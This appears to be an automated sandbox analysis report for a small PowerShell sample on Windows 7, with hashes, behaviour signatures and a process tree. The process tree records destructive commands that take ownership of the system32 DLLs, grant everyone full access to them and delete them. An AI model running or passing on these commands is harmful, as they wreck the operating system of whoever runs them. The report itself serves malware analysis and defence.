Analysis
- max time kernel
42s - max time network
51s - platform
windows7_x64 - resource
win7-20240705-en - resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system - submitted
09/08/2024, 20:39
Static task
static1
Behavioral task
behavioral1
Sample
code.ps1
Resource
win7-20240705-en
9 signatures
150 seconds
General
- Target code.ps1
- Size 163B
- Sample240809-zfawfasbkh
- SHA256 0271c04d628adc5e20e6c8067b1ce258f5378bd362a992b092465babfd4e70d0
- MD5 282af76963409eb19dd913ccc17971cd
- SHA1 acbf38de2933e3bf07e242f574fd38bc3329cbba
- SHA512 b8d4379b8c280be9e8d235043a4275e8264e418489bf250f34c4cea49845af11fe39c1fa324d5f852c3ec219ca2de53a831299a86421004c215a0027116e2449
- MD5 SHA1 SHA512
Malware Config
Signatures
- Possible privilege escalation attempt 2 IoCs
pid Process 2988 takeown.exe 2984 icacls.exe - Modifies file permissions 1 TTPs 2 IoCs
pid Process 2988 takeown.exe 2984 icacls.exe - Drops file in Program Files directory 1 IoCs
description ioc Process File opened for modification C:\Program Files\Google\Chrome\Application\debug.log chrome.exe -
pid Process 2644 powershell.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-3502430532-24693940-2469786940-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe - Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2644 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2644 powershell.exe Token: SeTakeOwnershipPrivilege 2988 takeown.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 3068 iexplore.exe 3068 iexplore.exe - Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 2644 wrote to memory of 2708 2644 powershell.exe 31 PID 2644 wrote to memory of 2708 2644 powershell.exe 31 PID 2644 wrote to memory of 2708 2644 powershell.exe 31 PID 2708 wrote to memory of 2988 2708 cmd.exe 32 PID 2708 wrote to memory of 2988 2708 cmd.exe 32 PID 2708 wrote to memory of 2988 2708 cmd.exe 32 PID 2644 wrote to memory of 1288 2644 powershell.exe 33 PID 2644 wrote to memory of 1288 2644 powershell.exe 33 PID 2644 wrote to memory of 1288 2644 powershell.exe 33 PID 1288 wrote to memory of 2984 1288 cmd.exe 34 PID 1288 wrote to memory of 2984 1288 cmd.exe 34 PID 1288 wrote to memory of 2984 1288 cmd.exe 34 PID 2644 wrote to memory of 2712 2644 powershell.exe 35 PID 2644 wrote to memory of 2712 2644 powershell.exe 35 PID 2644 wrote to memory of 2712 2644 powershell.exe 35 PID 2596 wrote to memory of 2624 2596 chrome.exe 38 PID 2596 wrote to memory of 2624 2596 chrome.exe 38 PID 2596 wrote to memory of 2624 2596 chrome.exe 38 PID 3068 wrote to memory of 2400 3068 iexplore.exe 40 PID 3068 wrote to memory of 2400 3068 iexplore.exe 40 PID 3068 wrote to memory of 2400 3068 iexplore.exe 40 PID 3068 wrote to memory of 2400 3068 iexplore.exe 40
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\code.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2644 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "takeown /f %windir%\system32\*.dll >nul"2⤵
- Suspicious use of WriteProcessMemory
PID:2708 -
C:\Windows\system32\takeown.exetakeown /f C:\Windows\system32\*.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2988
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "icacls %windir%\system32\*.dll /grant Everyone:(F) >nul"2⤵
- Suspicious use of WriteProcessMemory
PID:1288 -
C:\Windows\system32\icacls.exeicacls C:\Windows\system32\*.dll /grant Everyone:(F)3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2984
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "del /s /q %windir%\system32\*.dll >nul"2⤵PID:2712
-
-
C:\Windows\system32\calc.exe"C:\Windows\system32\calc.exe"1⤵PID:2664
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"1⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2596 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7fd9758,0x7fef7fd9768,0x7fef7fd97782⤵PID:2624
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe"1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3068 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3068 CREDAT:275457 /prefetch:22⤵PID:2400
-